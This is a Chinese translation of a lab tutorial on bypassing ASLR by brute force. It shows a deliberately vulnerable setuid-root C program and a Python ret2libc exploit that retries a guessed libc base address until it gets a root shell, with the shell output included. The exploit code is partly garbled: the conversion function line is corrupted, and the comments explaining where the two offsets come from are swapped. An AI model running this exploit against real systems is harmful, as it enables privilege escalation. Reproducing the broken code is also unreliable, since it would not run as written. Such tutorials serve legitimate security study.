译者:飞龙

    原文:Bypassing ASLR – Part II

    预备条件:

    经典的基于栈的溢出

    VM 配置:Ubuntu 12.04 (x86)

    这篇文章中,让我们看看如何使用爆破技巧,来绕过共享库地址随机化。

    什么是爆破?

    在这个技巧中,攻击者选择特定的 Libc 基址,并持续攻击程序直到成功。假设你足够幸运,这个技巧是用于绕过 ASLR 的最简单的技巧。

    漏洞代码:

    1. //vuln.c
    2. #include <stdio.h>
    3. #include <string.h>
    4. int main(int argc, char* argv[]) {
    5. char buf[256];
    6. strcpy(buf,argv[1]);
    7. printf("%s\n",buf);
    8. fflush(stdout);
    9. return 0;
    10. }

    编译命令:

    #echo 2 > /proc/sys/kernel/randomize_va_space
    $gcc -fno-stack-protector -g -o vuln vuln.c
    $sudo chown root vuln
    $sudo chgrp root vuln
    $sudo chmod +s vuln
    

    让我们来看看,攻击者如何爆破 Libc 基址。下面是(当随机化打开时)不同的 Libc 基址:

    $ ldd ./vuln | grep libc
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b6000)
    $ ldd ./vuln | grep libc
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7568000)
    $ ldd ./vuln | grep libc
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7595000)
    $ ldd ./vuln | grep libc
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75d9000)
    $ ldd ./vuln | grep libc
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7542000)
    $ ldd ./vuln | grep libc
     libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb756a000)
    $
    

    上面展示了,Libc 随机化仅限于 8 位。因此我们可以在最多 256 次尝试内,得到 root shell。在下面的利用代码中,让我们选择0xb7595000作为 Libc 基址,并让我们尝试几次。

    利用代码:

    #exp.py
    #!/usr/bin/env python
    import struct
    from subprocess import call
    
    libc_base_addr = 0xb7595000
    exit_off = 0x00032be0             #Obtained from "readelf -s libc.so.6 | grep system" command.
    system_off = 0x0003f060           #Obtained from "readelf -s libc.so.6 | grep exit" command.
    system_addr = libc_base_addr + system_off
    exit_addr = libc_base_addr + exit_off
    system_arg = 0x804827d
    
    #endianess convertion
    def conv(num):
     return struct.pack("<I",numystem + exit + system_arg
    buf = "A" * 268
    buf += conv(system_addr)
    buf += conv(exit_addr)
    buf += conv(system_arg)
    
    print "Calling vulnerable program"
    #Multiple tries until we get lucky
    i = 0
    while (i < 256):
     print "Number of tries: %d" %i
     i += 1
     ret = call(["./vuln", buf])
     if (not ret):
      break
     else:
      print "Exploit failed"
    

    运行上面的利用代码,我们会得到 root shell(在下面展示):

    $ python exp.py 
    Calling vulnerable program
    Number of tries: 0
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
    Exploit failed
    ...
    Number of tries: 42
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
    Exploit failed
    Number of tries: 43
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA`@]??{\?}?
    # id
    uid=1000(sploitfun) gid=1000(sploitfun) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(sploitfun)
    # exit
    $
    

    注意:也可以爆破类似的栈和堆段的地址。